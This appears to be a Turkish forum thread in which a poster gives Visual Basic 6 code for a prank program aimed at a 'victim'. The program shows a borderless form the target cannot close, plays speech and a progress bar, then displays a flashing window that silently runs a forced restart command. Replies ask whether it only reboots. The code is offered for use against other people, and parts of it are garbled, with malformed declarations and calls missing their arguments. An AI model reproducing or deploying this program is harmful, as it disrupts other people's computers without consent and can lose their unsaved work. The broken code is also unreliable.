THANKS secim oldugu için bitene kadar herkez suan siyaset bölümünde oyuzdn bkp geçiolardır

:shuriken: Oncelikle 2 form ekliyoruz Form 1e: 1 ProgressBar / 2 Timer / 2. form a: 1Timer / 1 CommandButton Ekliyoruz ProgressBar eklemek için ctrl + t ye basıp microsoft windows common controls 6.0 ı seçiyoruz eğer yoksa common controls 5.0 ı seciniz formumuzun BorderStyle özelliği ( 0-none ) olucak ki kurbnımız rogamı kapatamasın form 1 e: Kod: Private Declare Function mciExecute Lib "winmm. dll" As Long Private Sub Form_Load Set speech = New SpVoice speech. Speak Label3 mciExecute mciExecute End Sub Private Sub Timer1_Timer ProgressBar1. Value = ProgressBar1. Value + 20 If ProgressBar1. Value = 100 Then Unload Form1 Form2. Show Timer1. Enabled = True End If End Sub hone: form 2 ye: Kod: Private Declare Function mciExecute Lib "winmm. dll" As Long Private Sub Command1_Click Shell "shutdown -r -t 20", vbHide Unload Me End Sub Private Sub Form_Load mciExecute mciExecute Timer1. Interval = 90 End Sub Private Sub Timer1_Timer If Me. Visible = True Then Me. Visible = False Else Me. Visible = True End If End Sub Formunuzu istediğiniz şekilte tasarlayın Hizliupload.com Hizliupload.com Ben Böyle Tasrladım :excl::excl:!! Progrmı Kaydettikten Sonra Deneyin Çünkü Bilgisayara Reset Atıyor!! :excl::excl:

kendi pc mizde yaparsak bişe olmaz demi sadece resetmi atıyor

Teşekkürler.

Bu Kadar Kişi Bakmış 1 Teşekkür Yeterdi